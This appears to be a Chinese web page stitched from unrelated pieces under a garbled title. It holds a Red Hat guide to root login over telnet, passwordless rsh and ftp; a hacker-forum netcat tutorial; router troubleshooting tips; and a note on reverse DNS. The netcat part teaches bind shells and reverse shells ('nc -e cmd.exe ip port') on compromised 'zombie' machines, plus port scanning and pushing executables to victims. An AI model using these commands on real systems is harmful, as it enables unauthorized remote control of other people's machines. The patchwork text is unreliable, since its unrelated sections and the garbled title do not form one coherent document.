反向telnet(反向特伦德伦伯格卧位)

Telnet用法 一：简介虽然目前大家都认为telnet/ftp/rsh作为不安全的服务已经不太使用，但在局域网内部的某些情况下仍然广泛地被使用，特别是安全性不是很重要的场合下，某些服务如FTP，由于历史较长，至今大多数场合仍然大有用处。很多人在使用这些服务直接登录作为root时遇到问题，本文就简单地介绍一下设置方法和相关问题。二：环境假设本文的所有操作环境是Redhat Linux，一台为telnet/ftp/rsh/ssh客户，IP为192.168.0.2,主机名为client.domain.com;另一台为服务器，IP为192.168.0.1，主机名为server.domain.com，两者都运行redhat linux 7.1 .三：用法1. 直接telnet作为root.a. 在服务器server.domain.com上运行/usr/sbin/ntsysv后选中telnet服务，击OK。b. 运行#/sbin/service xinetd restart 启动telnet服务c. 运行＃e cho "pts/0" >> /etc/securetty 和＃e cho "pts/1" >> /etc/securetty......更多的远程终端允许直接登录作为rootd. 确保在server.domain.com上的/etc/hosts中有类似下面的行。192.168.1.2 client.domain.com client如果没有，则在server上运行echo "192.168.1.2 client.domain.com client" >>/etc/hosts至此你应该能从client远程telnet直接作为root了。如果服务器是redhat 6.x,则加单个数字如0,1,2,3...到/etc/securetty后面，一个数字一行，必须以0开始。仅仅加数字而己，没有pts,tty。如果服务器是redhat 5.x,则加ttyp0, ttyp1,ttyp2... 等到/etc/securetty.经常有人问，为什么telnet/ftp进服务器时需要等很久？那是因为当服务器检测出有客户远程连接进来时，它知道客户的IP，但根据telnet/ftp服务的内部机制，它需要反向检查该IP的域名，如果你有DNS服务器且设置了反向域名，则很快查到，若没有，则简单地在服务器的/etc/hosts中加入客户的记录就可以了。2. 直接rsh作为root.a. 在服务器上运行/urs/bin/ntsysv选中rexec ,rlogin ,rsh三项服务。b. 运行#/sbin/service xinetd restart 启动该三项服务。c. 运行＃e cho "rexec" >> /etc/securetty;echo "rlogin" >>/etc/securetty;echo "rsh" >> /etc/securettyd. 在服务器上运行＃e cho "192.168.0.2 root" >> /root/.rhosts或者 ＃e cho "client root" >> /root/.rhosts且确保在服务器上的/etc/hosts中有client的记录192.168.0.2 client.domain.com client至此你应该可以从client直接以root身份rsh到服务器不需密码了。注： 仅仅redhat 7.x 开始需要为rsh设置/etc/securetty.3. 直接ftp作为root.这个比较简单，就是在server上的/etc/ftpusers中的root一行前面放个注释#即可。在现代的网络技术下,telnet/rsh/ftp都可以被ssh/scp代替了，甚至已经有了一个winscp,图形化的SCP工具，在http://winscp.vse.cz/eng/， 免费的windows ssh客户有许多，象tera term , putty等等。不过，FTP在某些场合仍然有它的用处。下面例举两种：a. FTP可以直接把远端服务器上某个目录压缩后传送到客户端，如远程服务器有sbin目录，可以用get sbin.tar.gz直接把整个目录压缩后FTP下来成为单个压缩文件。这个方式可以很好地用在远程复制整个linux OS。b. 为了远程复制另一台linux OS，可以用redhat 光盘启动到准备进行分区的界面(选择自动还是手动分区的界面)，然后用ALT+F2切换到第二个终端,设置网卡的IP和默认网关，用fdisk/e2fsck 分区用格式化本地硬盘，用FTP远程得到服务器的所有目录除了proc目录，然后即可以复制一台与远端一样的服务器。详细做法请参考《文章荟萃》中另一篇文章http://www.linuxforum.net/doc/cp-wu.html《如何远程复制另一台Linux服务器及相关问题》。4. 直接ssh作为root.OpenSSH的默认设置sshd_config是允许登录作为root的 PermitRootLogin yes ,你可以改为no去禁止这个功能增强安全性。 为了直接不用密码登录作为root,最好是采用RSA键对认证方式进行。

不会，那需要本地设置的。 C使用教程使用动画可以提供给核心成员，菜鸟们也可向我索取在黑客界混如果不知道什么叫NC的话，那可真是白混了今天教大家如何来使用NC讲四个命令命令1：监听命令nc -l -p portnc -l -p port > e:log.datnc -l -v -p port参数解释：-l：监听端口，监听入站信息-p：后跟本地端口号-v：显示端口的信息，如果使用-vv的话，则会显示端口更详细的信息提示：一般大家都爱用-vvnc -l -p 80这个很简单，监听80端口如果机器上运行这个命令，端口80被认为是开放的，可以欺骗很多扫描器的哦！nc -l -p 80 > e:log.dat呵呵，功能和上边一样，但是后边加了个“> e:log.dat”我想，学过ECHO那个命令的人都会知道吧，是在E盘创建一个log.dat的日志文件nc -l -v -p 80和上边命令相似，不过这次不是记录在文件里，而是会直接显示在运行着NC的屏幕上。呵呵，讲了这么多，来实践下nc -l -v -p 80然后在浏览器中输入本机IP：127.0.0.1呵呵，看到什么？同样，上边两个也是一样，大家自己试验一下吧命令2：程序定向nc -l -p port -t -e cmd.exe本地机： nc -l -p port 或 nc -l -v -p port目标机：nc -e cmd.exe ip port参数解释：-l、-p两个参数已经解释过了-e；作用就是程序定向-t：以telnet的形式来应答例子nc -l -p 5277 -t -e cmd.exe知道运行在哪里吗？千万不要运行在自己的机器上，如果运行了，你机器就会变成一台TELNET的服务器了，呵呵，解释一下：监听本地端口5277的入站信息，同时将CMD.exe这个程序，重定向到端口5277上，当有人连接的时候，就让程序CMD.exe以TELNET的形式来响应连接要求。说白了，其实就是让他成为一台TELNET的肉鸡，所以这个命令要运行在你的肉鸡上。。（话外音：说这么多遍当我们白痴啊，快往下讲！！！）呵呵，咱们来找台肉鸡试试，我TELNET IP 5277HOHO~~如何？local machine：nc -l -p port ( or nc -l -v -p port )remote machine：nc -e cmd.exe ip port大家知道灰鸽子和神偷吧，这两款工具都是利用了反弹端口型的木马，什么叫反弹端口？就是说，当对方中马后，不用你主动和对方连接，也就是说不用从你的client端向对方主机上运行的server端发送请求连接，而是对方主动来连接你这样就可以使很多防火墙失效，因为很多防火墙都不检查出站请求的。这里这两个命令结合在一起后，于那两款木马可以说有异曲同工之效。为什么？咳！！听我给你讲啊！！（先交100000000RMB学费)哇，别杀我啊！！)nc -l -p 5277 （坚听本地5277端口）同样也可以用nc -l -v -p 5277运行在本地然后在远程机器上，想办法运行nc -e cmd.exe ip 5277（你可别真的打“ip”在肉机上啊）要打，xxx.xxx.xxx.xxx这样！！呵呵，看看在本地机器上出现了什么？这样就是反弹~~在本地机器上得到了一个SHELL命令3：扫描端口nc -v ip portnc -v -z ip port-portnc -v -z -u ip port-port参数解释：-z：将输入输出关掉，在扫描时使用nc -v ip port这个命令是针对某一个端口进行扫描例如：nc -v ip 135扫描远程主机的135端口，这样获得了该端口的一些简单信息，但是针对某些端口，我们还可以获得更多的信息例如：80端口我们可以使用nc -v ip 80 然后使用get方法来获得对方的WEB服务器的信息nc -v -z ip port-port这个命令是用来扫描的一个命令，这个命令用于快速扫描TCP端口，而port-port则是指定了扫描的端口范围例如：nc -v -z ip 1-200可以看到我机器上的1-200的TCP端口的开放情况nc -v -z -u ip port-port这个命令比上个命令多了个-u，这个命令的作用仍然是扫描端口，只是多了一个-u的参数，是用来扫UDP端口的例如：nc -v -z -u ip 1-200这个命令就会扫1-200的UDP端口命令4：传送文件（HOHO，I LIKE）LOCAL MACHINE：nc -v -n ip port < x:svr.exeREMOTE MACHINE：nc -v -l -p port > y:svr.exe参数解释：-n：指定数字的IP地址这两个命令结合起来是用来传送文件的首先，在远程机上运行命令：nc -v -l -p 5277 > c:pulist.exe这个命令还记的吗？呵呵，是不是和监听命令有点类似，对，没错，这个是监听5277端口并把接受到的信息数据写到c:pulist.exe中这时候在本地机上运行nc -v -n ip 5277 < e:hackpulist.exe这个命令的意思就是，从本地E盘跟目录中读取pulist.exe文件的内容，并把这些数据发送到ip的5277端口上这样远程主机就会自动创建一个pulist.exe文件。。呵呵，你想到了吗？？上边是NC的比较常用的方法，希望通过这些，大家能发挥自己的想象力，创造出更多更精彩的命令来， 因为NC的用法不仅仅局限于这几种而已哦！！对NC来说，只有想不到，没有做不到的！！！

无线路由器指示灯不亮有可能是以下几点原因：1、电源插座接触不好导致无法通电，需要检查反复来回插插头看是否可靠；2、电源适配器坏了，更换新的适配器可以解决问题；3、路由器主板坏了，主板坏了就是比较麻烦的，建议更换新的。4、路由器一般接上电就电源指示灯点亮，如果指示灯不亮，排除上面的3个原因之后，可以换一个电源适配器插到这个路由器上，如果指示灯量了说明路由器没坏，是适配器的问题；否则就是路由器本身的主板坏了，建议更换新的。扩展资料：路由器故障诊断与排除网络诊断是一门综合性技术，涉及网络技术的各个面。路由器故障是最常见的问题，首先先看诊断有哪些模式,然后一起简单回顾一下网络和路由器的基本概念。诊断模式异步通信口故障一般的外部因素是：拨号链路性能低劣；电话网交换机的连接质量问题；调 制解调器的设置。检查链路两端使用的调制解调器：连接到远程PC机端口调制解调器的问题 不太多，因为每次生成新的拨号时通常都初始化调制解调器，利用大多数通信程序都能在发 出拨号命令之前发送适当的设置字符串；连接路由器端口的问题较多，这个调制解调器通常 等待来自远程调制解调器的连接，连接之前，并不接收设置字符串。如果调制解调器丢失了 它的设置，应采用一种方法来初始化远程调制解调器。简单的办法是使用可通过前面板配置 的调制解调器，另一种方法是将调制解调器接到路由器的异步接口，建立反向telnet,发送设 置命令配置调制解调器。 show interface async 命令、show line命令是诊断异步通信口故障使用最多的工具。show interface async 命令输出报告中，接口状态报告关闭的唯一的情况是接口没有设置封装类型 。线路协议状态显示与串口线路协议显示相同。show line命令显示接口接收和传输速度设置 以及EIA状态显示。show line命令可以认为是接口命令（show interface async）的扩展。故障排除show line命令输出的EIA信号及网络状态： noCTS noDSR DTR RTS：调制解调器未与异步接口连接。 CTS noDSR DTR RTS：调制解调器与异步接口连接正常，但未连接远程调制解调器。 CTS DSR DTR RTS：远程调制解调器拨号进入并建立连接。确定异步通信口故障一般可用下列步骤：检查电缆线路质量；检查调制解调器的参数设置；检查调制解调器的连接速度；检查rxspeed 和txspeed是否与调制解调器的配置匹配；通过 show interface async 命令和 show line命令查看端口的通信状况；从show line命令的报告 检查EIA状态显示；检查接口封装；检查信息包丢失及缓冲区丢失情况。结语 网络发生故障是不可避免的。网络建成运行后，网络故障诊断是网络管理的重要技术工作。资料来源：百度百科-路由器
无线路由器就wlan指示灯不亮一般为连接猫或外网不通，也可能是连接线有问题；如果是猫，看一下猫工作是否正常，如果正常很可能是线的问题；如果连接的是外网，先换一下本地的连接线，如果无效那就是运营商的网络有问题，可以直接与运营商联系解决。
我家路由器的wlan灯不亮。断开电源重启路由器后wlan灯又亮了，又可以上网了。但用了一会儿wlan灯又不亮了，断网了，怎么回事。重启后又可以了
知道怎么设置无线路由器不？192.168.1.1这是进去设置无线路由器的，打开wlan小灯就会亮了，，，

域名解析是从名称解析到IP地址（DNS），反向域名解析就是从IP地址解析成域名（RDNS）； 由于电子邮件的发展，出现很多垃圾邮件或大量发送垃圾邮件进行攻击，对网络、尤其是邮件服务器，严重的造成邮件服务器瘫痪，为了减少或者消除这种攻击，对发送邮件的服务器（尤其是转发服务器）的确认，采用了RDNS技术，如果通过IP解析出的域名不是你邮箱的域名，则会拒绝转发或接收邮件。

你telnet的那台设备配置vty和密码了没